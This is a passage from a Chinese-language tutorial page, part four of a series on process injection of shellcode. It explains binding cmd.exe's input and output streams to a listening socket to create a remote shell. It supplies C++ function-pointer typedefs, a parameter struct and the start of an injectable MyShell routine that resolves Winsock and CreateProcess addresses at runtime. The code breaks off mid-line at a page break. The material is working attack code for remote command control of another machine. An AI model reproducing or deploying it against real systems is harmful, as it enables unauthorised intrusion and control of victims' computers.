设为首页 加入收藏

TOP

1.12 进程注入ShellCode套接字(四)
2023-09-09 10:25:48 】 浏览:230
Tags:1.12 程注入 ShellCode
lShell,在此案例中读者需要理解一种绑定技术,在默认情况下,Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道,而cmd.exe进程同样存在这三种管道,要实现正向Shell,一般而言攻击者会创建一个监听指定端口的网络套接字,并将其绑定到一个命令行解释器(如 cmd.exe)的标准输入和输出流上,这样攻击者即可通过这个管道来使用远程的CMD命令行,并以此达到控制对方的目的。

将CMD绑定到套接字上通常涉及以下步骤:

  • 创建一个监听套接字,以便在客户端连接之前等待连接。监听套接字可以是TCP或UDP类型。
  • 调用bind()函数将监听套接字绑定到本地IP地址和端口上。这是让客户端知道要连接哪个地址和端口的关键步骤。
  • 调用listen()函数将监听套接字转换为被动套接字,并设置等待连接的队列的最大长度。
  • 调用accept()函数来接受客户端连接,这将创建一个新的套接字,它与客户端套接字相关联。
  • 调用CreateProcess()函数启动cmd.exe进程,并将标准输入、输出和错误流重定向到新创建的套接字上。

首先我们需要定义所需要调用的函数指针,下方代码定义了一组函数指针,每个函数指针都指向一个API函数,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。这些函数与动态链接库、套接字通信、网络编程、创建进程等有关。

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

// 定义各种指针变量
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);

typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

接着我们需要在原始ShellParametros中进行扩充,根据所需函数的多少来定义承载该函数内存地址的指针类型;

typedef struct
{
  HANDLE          KernelHandle;
  char            kernelstring[20];        // 存储kernel32.dll字符串
  char            CreateProcessstring[20]; // 存放函数名字字符串
  LOADLIBRARY     KernelLoadLibrary;
  GETPROCADDRESS  KernelGetProcAddress;
  CREATEPROCESS   KernelCreateProcess;

  HANDLE      WSAHandle;
  char        wsastring[20];
  char        wsastartupstring[20];
  char        WSASocketString[20];
  char        WSAConnectstring[20];
  char        bindstring[20];
  char        acceptstring[10];
  char        listenstring[10];
  
  WSASTARTUP  ShellWsaStartup;
  ACCEPT      ShellAccept;
  BIND        ShellBind;
  WSACONNECT  ShellWsaConnect;
  WSASOCKET   ShellWSASocket;
  LISTEN      ShellListen;

  unsigned short port;
  char cmd[255];
} PARAMETROS;

接着再来看核心MyShellShell实现函数,如下代码实现了一个远程Shell,通过动态链接库实现对API函数的调用。

首先,通过调用 LoadLibraryGetProcAddress 函数,获取到 ws2.dllkernel32.dll 中的函数地址,分别是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。

然后,通过调用 WSAStartup 函数初始化套接字编程,创建一个套接字,并绑定在一个端口。通过 Listen 函数监听连接请求,并使用 Accept 函数接收连接请求。

当有连接请求时,使用 CreateProcess 函数创建一个进程,并将标准输入、输出和错误重定向到网络套接字,实现远程 Shell。

// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS* ptr)
{
  STARTUPINFO si;
  struct sockaddr_in sa;
  PROCESS_INFORMATION pi;
  int s, n;
  WSADATA HWSAdata;

  // 通过GetProcAddress获取到ws2.dll中的所有函数地址
  ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
  ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
  ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
  ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
  ptr->ShellBind = (
首页 上一页 1 2 3 4 5 6 下一页 尾页 4/6/6
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇C++算法之旅、03 语法篇 | 全内容 下一篇C++算法之旅、04 基础篇 | 第一章..

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目